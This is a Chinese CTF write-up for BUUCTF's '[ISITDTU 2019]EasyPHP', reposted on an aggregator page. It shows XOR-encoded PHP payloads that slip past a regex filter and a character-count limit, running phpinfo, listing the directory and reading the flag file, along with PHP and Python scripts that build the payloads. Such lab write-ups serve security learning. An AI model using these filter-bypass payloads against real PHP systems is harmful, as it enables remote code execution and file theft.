buuCTF [ISITDTU 2019]EasyPHP 1

2023-11-13

buuCTF [ISITDTU 2019]EasyPHP 1

在这里插入图片描述

直接代码审计。
第一个if,过preg_match。一般有三种方法:取反绕过,异或绕过,转义绕过。
这里用取反绕过。

第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13。如aaa((bc不重复字符为a(bc长度为4。

尝试phpinfo:

?_=(%ff%ff%ff%ff%ff%ff%ff^%8f%97%8f%96%91%99%90)();

在这里插入图片描述

可以去看看disable_function禁了哪些函数。
附上异或php脚本:

<?php

#用不可见字符异或
$l = "";
$r = "";
//$argv = str_split("_GET");
$argv = str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);
        if($k == $argv[$i]){
            if($j<16){
                $l .= "%ff";
                $r .= "%0" . dechex($j);
                continue;
            }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "(".$l."^".$r.")";
#{%ff%ff%ff%ff^%a0%b8%ba%ab}       =_GET
#?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?>

可用scandir(.)读取目录,用var_dump或print_r打印出来。
这题的第二个if非常恶心。
直接用异或出来的是过不了的:
print_r(scandir(.));

(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

在这里插入图片描述
这里的不重复字符是16个,超过13。
解决思路是在这16个不重复字符里删减一些,删减的字符用其他字符异或来表示。
主要是和%ff异或的那些字符串。其他都是固定的。
payload:

((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

在这里插入图片描述
附上我自己写的脚本
获取不重复字符的对应ascii码:

a = '%8d%9a%9e%9b%99%96%93%9a%9a%91%9b%8c%9c%9e%91%9b%96%8d'
b = a[1:].split('%')
# print(b)
c = []
for i in b:
    d = int(i,16)
    if d not in c:
        c.append(d)
print(len(c),c)

删减一些ascii减少不重复字符以及直接替换原来的payload:

# result2 = [139, 155, 160, 156, 143, 145, 158, 209, 150, 141, 140]  #这是不重复的字符。例如%8f%8d%96%91%8b%a0%8d %8c%9c%9e%91%9b%96%8d中 不重复的有11个,对应他们的ascii码
result2 = [141, 154, 158, 155, 153, 150, 147, 145, 140, 156]
# result = [139, 155, 160, 156, 143, 145, 158, 209]# 一个一个增加直到len(temp)==11
result = [141, 154, 158, 155, 153, 150]
temp = []
res ={}
print('a^b^c=d')
for d in result2:
    j=0
    for a in result:
        k=0
        if j == 1:
            break
        for b in result:
            if k==1:
                break
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=%d,b=%d,c=%d,d=%d" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
                            res.update({d:'{} {} {}'.format(a,b,c)})
                        j=1
                        k=1
                        break
print('temp长度:',len(temp),'\n',temp,'\n')
# print(res,'\n')

def payload(s):
    p1=''
    p2=''
    p3=''
    a = s[1:].split('%')
    for i in a:
        b = (int(i,16))
        p1 += '%'+hex(int(res[b][:3]))[2:]
        p2 += '%'+hex(int(res[b][4:7]))[2:]
        p3 += '%'+hex(int(res[b][8:11]))[2:]
    print("({})^({})^({})^({})".format(p1,p2,p3,'%ff'*(int(len(p1)/3))))
# print_r(scandir(.));
# ((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
# (%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)((%ff^%d1)));

#readfile(end(scandir(.)));
# print('print_r:')
# payload('%8f%8d%96%91%8b%a0%8d')
# print('scandir:')
# payload('%8c%9c%9e%91%9b%96%8d')

#readfile(end(scandir(.)));
#(%ff%ff%ff%ff%ff%ff%ff%ff^%8d%9a%9e%9b%99%96%93%9a)((%ff%ff%ff^%9a%91%9b)((%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d)(%d1^%ff)));
# ((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
print('readfile:')
payload('%8d%9a%9e%9b%99%96%93%9a')
print('end:')
payload('%9a%91%9b')
print('scandir:')
payload('%8c%9c%9e%91%9b%96%8d')

用的是a^b^c=d,把a^b^c替换原来的d,再和%ff异或。
即原来的d^%ff = a^b^c^%ff
这样就减少了不重复的字符。
知道flag在n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
但是太长了肯定报错。
因为文件在数组最后,所以可以用end()转移指针到最后然后输出,输出用readfile()或show_source()。我用的是readfile()。
payload:
readfile(end(scandir(.)));

((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

buuCTF [ISITDTU 2019]EasyPHP 1 的相关文章

  • 每日一题——螺旋矩阵

    题目描述 对于一个n行m列的表格 我们可以使用螺旋的方式给表格依次填上正整数 我们称填好的表格为一个螺旋矩阵 例如 一个4行5列的螺旋矩阵如下 1 2 3 4 5 14 15 16 17 6 13 20 19 18 7 12 11 10 9
  • CTFSHOW【萌新计划】Writeup

    CTFSHOW 萌新计划 web1 萌新计划 web2 萌新计划 web3 萌新计划 web4 萌新计划 web5 萌新计划 web6 萌新计划 web7 萌新计划 web8 萌新计划 web9 萌新计划 web10 萌新计划 web11
  • CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧 玩CTF的小伙伴也许会遇到类似这样的问题 表哥 你知道这是什么加密吗 其实CTF中脑洞密码题 非现代加密方式 一般都是各种古典密码的变形 一般出题者会对密文进行一些处理 但是会给留一些线索 所以写此
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着
  • [CTF/网络安全] 攻防世界 disabled_button 解题详析

    CTF 网络安全 攻防世界 disabled button 解题详析 input标签 姿势 disable属性 总结 题目描述 X老师今天上课讲了前端知识 然后给了大家一个不能按的按钮 小宁惊奇地发现这个按钮按不下去 到底怎么才能按下去呢
  • adworld-web2

    web2 GFSJ0627积分 2金币 2 91最佳Writeup由 Robert Wei 提供 收藏 反馈 难度 2 方向 Web 题解数 108 解出人数 10185 题目来源 CTF 题目描述 解密 题目场景 http 61 147
  • Burp Suit+Phpstudy+Pikachu搭建Web安全练习环境

    1 软件安全测试工具Burp Suit安装 1 1 社区版 进入官网 Download Burp Suite Community Edition PortSwigger 进行下载安装即可 1 2 专业版 搜索Burp Suit2 0 11从
  • XCTF攻防世界Web12道简单题

    0x00 准备 内容 在xctf官网注册账号 即可食用 目录 目录 0x01 view source2 0x02 get post3 0x03 robots4 0x04 backup6 0x05 Cookie7 0x06 disabled
  • Android_CTF: kgb_messenger

    环境 kgb messenger apk 测试机 OnePlus Andorid 9 1 Alerts 安装该apk后 使用发现如下的界面 用 jadx 反编译该 apk 搜索字符串 Russian 在MainActivity中发现了以上字
  • ctfshow---sql注入(214-253)

    目录 web214 web215 web216 web217 web218 web219 web220 web221 web222 web223 web224 web225 web226 web227 web228 229 230 web2
  • CTF BugKu平台——Crypto篇刷题记录(后续更新)

    CTF BugKu平台 Crypto篇 前言 抄错的字符 聪明的小羊 ok lt gt 把猪困在猪圈里 你喜欢下棋吗 小山丘的秘密 EN 气泡 你以为是md5吗 Math English easy crypto 黄道十二官 一段新闻 7 1
  • [2021首届“陇剑杯”网络安全大赛] SQL注入

    2021首届 陇剑杯 网络安全大赛 SQL注入 题目描述 某应用程序被攻击 请分析日志后作答 黑客在注入过程中采用的注入手法叫 布尔盲注 格式为4个汉字 例如 拼搏努力 黑客在注入过程中 最终获取flag的数据库名 表名和字段名是 Sqli
  • [BDSec CTF 2022] 部分WP

    组队参加了个国外的小线上赛 题目比较简单 目录 PWN pwnrace Reverse BDSec License Checker 0x1 shashdot Flag Box Simple Math Poster BDSec License
  • 攻防世界web---新手练习区

    查看网页源代码 根据提示 查看网页源代码 发生了什么 鼠标右键不管用了 F12看到了什么 哈哈哈哈哈 robots协议 也太简单了吧哈哈哈 备份文件 打开御剑扫描后台 cookie 没什么发现 抓包看看 看看cookie php 看http
  • disabled_button 攻防世界

    1 第一步还是看题目 重要知识点 按钮按不下去 前端知识 例如下面的代码
  • CTFShow-WEB入门篇--信息搜集详细Wp

    CTFShow WEB入门篇详细Wp 信息收集 web1 web2 web3 web4 web5 web6 web7 web8 web9 web10 web11 web12 web13 web14 web15 web16 web17 web
  • 攻防世界adworld-hit-the-core

    hit the core 题目来源 CTF 题目描述 暂无 题目附件 下载附件 kwkl kwkl strings home kwkl 桌面 8deb5f0c2cd84143807b6175f58d6f3f core CORE code c
  • BUUCTF [极客大挑战 2019] Http

    BUUCTF 极客大挑战 2019 Http 启动环境 主页为三叶草技术小组纳新 查看网页源码 发现隐藏的页面 div class image img src images pic01 jpg alt div div class conte
  • BugKu-Web-滑稽

    题目环境 持续的动态图片 F12审查元素 拿下flag flag 595d994a34342417bfc3a3c3a23e0a48
  • 我如何检查 base64 字符串是否是文件(什么类型?)?

    我参加了 Spentalkux 挑战https 2020 ractf co uk https 2020 ractf co uk 这是我第一次参加CTF挑战 所以我解决了https github com W3rni0 RACTF 2020 b

随机推荐

  • 【学习笔记】rabbitmq设置队列ttl和使用延迟插件的代码示例

    文章目录 设置队列ttl 配置文件 生产者 消费者 设置消息ttl 延迟插件的使用 修改配置文件 修改生产者 修改消费者 设置队列ttl 代码架构 创建两个队列QA和QB 两者队列TTL分别设置为10S和40S 然后在创建一个交换机X和死信
  • 阿里P8大神讲解——Java,JVM内存模型

    在Java程序界流行着一种默认的说法叫 黄金5年 也就是一个程序员从入职的时间开始算起 前五年的选择直接影响着整个职业生涯发展方向和薪资走向 如何走好这5年很关键 如何彻底从一个菜鸟蜕变成 可以以不变应万变的职业大牛 这是一个涉及到自身专业
  • 朋友去华为面试,轻松拿到26K的Offer,羡慕了......

    最近有朋友去华为面试 面试前后进行了20天左右 包含4轮电话面试 1轮笔试 1轮主管视频面试 1轮hr视频面试 据他所说 80 的人都会栽在第一轮面试 要不是他面试前做足准备 估计都坚持不完后面几轮面试 其实 第一轮的电话面试除了一些常规的
  • 【电气专业知识问答】问:在何种事故情况下应立即停用电动机?

    电气专业知识问答 问 在何种事故情况下应立即停用电动机 答 1 发生危急人身安全情况 需要立即停用电动机的 2 电动机所带机械设备损坏至危险程度时 3 电动机起火冒烟 4 电动机强烈振动 窜轴或内部发生定 转子碰擦 5 电动机缺相运行 6
  • C#读写各类文件合集

    C 文件操作合集 一 利用字节流与文件流读写txt json文件 1 以文件的方式进行操作 2 以文件流的方式进行读写 3 以二进制数据流的方式进行读写 4 以文本流的方式进行读写 5 JOSN文件的读写 二 kernel32读写ini文件
  • 【论文笔记】疯狂的检测工具 —— 静态分析工具

    本文目标 精度论文 CryptoGuard High Precision Detection of Cryptographic Vulnerabilities in Massive sized Java Projects 主要针对大规模的
  • 【Pytorch Lighting】第 9 章:部署和评分模型

    大家好 我是Sonhhxg 柒 希望你看完之后 能对你有所帮助 不足请指正 共同学习交流 个人主页 Sonhhxg 柒的博客 CSDN博客 欢迎各位 点赞 收藏 留言 系列专栏 机器学习 ML 自然语言处理 NLP 深度学习 DL fore
  • Win10系统安装使用H3C HCL实验室(最新版)方法

    如果安装了wsl2虚拟机的 首先参照此教程将wsl版本降为1 https blog csdn net qq 26123545 article details 120169070 spm 1001 2014 3001 5501 如果之前的HC
  • CMake编译.dll并使用开源库SDE

    目录 环境 项目修改 编译 dll文件并确保它能正常使用 测试使用 dll文件 文件下载链接 环境 本篇博客所要做的是 Win10环境使用CMake编译一个开源C 库 这个库所有 h头文件和 cpp源文件都有了 将这个库编译为动态链接库 d
  • armbian安装图形桌面_Linux桌面环境(桌面系统)大比拼「附带优缺点」

    早期的 Linux 系统都是不带界面的 只能通过命令来管理 比如运行程序 编辑文档 删除文件等 所以 要想熟练使用 Linux 就必须记忆很多命令 后来随着 Windows 的普及 计算机界面变得越来越漂亮 点点鼠标就能完成很多工作 人们已
  • x86-64 汇编基础 ---- 记读 《CS: APP》

    x86 64 汇编基础 记读 CS APP 通常情况下 使用现代的优化编译器产生的代码至少与一个熟练的汇编语言程序员手工编写的代码一样有效 1 看懂汇编码 1 汇编码的格式 ATT格式 这是GCC OBJDUMP和其它一些工具的常用格式 由
  • 推荐系统实战2——EasyRec 推荐框架环境配置

    推荐系统实战2 EasyRec 推荐框架环境配置 学习前言 先验条件 EasyRec仓库地址 EasyRec环境配置 一 EasyRec的下载 二 EasyRec的初始化 三 EasyRec的安装 四 一些额外的情况 学习前言 EasyRe
  • opencv 读取NV12格式(.yuv)文件,并转为RGB格式保存为JPG

    实测代码如下 include
  • OpenStack的搭建与使用

    初次接触open stack与Linux 如有错误与可改进的地方 恳请指出 一 搭建 一 配置推荐 系统 镜像 内存 储存 Linux centos7 6 16G 100G 二 前期准备 1 开启虚拟化 图2 1 开启虚拟化 2 关闭防火墙
  • C语言典型例题四——斐波那契数列

    Fibonacci 斐波那契 数列 求斐波那契数列的前40个数 这个数列有个特点 第1 2两个数为1 1 从第三个数开始 该数是其前面两个数之合 即该数列为1 1 2 3 5 8 13 这是一个有趣的古典数学问题 有一对兔子 从出生后第三个
  • python 在Excel中新增一列

    1 在Excel中定义新列 定义新列需要用到columns tolist 函数 具体代码如下 col name df columns tolist col name insert 新列位置 新列名称 wb df reindex column
  • Log4j2源码分析系列:(一)配置加载

    在实际开发项目中 日志永远是一个绕不开的话题 本系列文章试图以slf4j和log4j2日志体系为例 从源码角度分析日志工作原理 学习日志框架 首先要熟悉各类日志框架 这里推荐两篇文章 就不再赘述了 https www cnblogs com
  • C——选择结构

    选择结构 1 关系运算与逻辑运算 1 1 关系运算 1 2 逻辑运算 2 if语句 2 1 单分支的if语句 2 2 双分支的if语句 3 条件运算符 4 switch语句 1 关系运算与逻辑运算 C语言中的逻辑值 C语言将 非0 值当做值
  • buuCTF [ISITDTU 2019]EasyPHP 1

    buuCTF ISITDTU 2019 EasyPHP 1 直接代码审计 第一个if 过preg match 一般有三种方法 取反绕过 异或绕过 转义绕过 这里用取反绕过 第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13 如
  • select 模型解释

    套接字模式 阻塞套接字和非阻塞套接字 或者叫同步套接字和异步套接字 套接字模型 描述如何对套接字的I O行为进行管理 Winsock提供的I O模型一共有五种 select WSAAsyncSelect WSAEventSelect Ove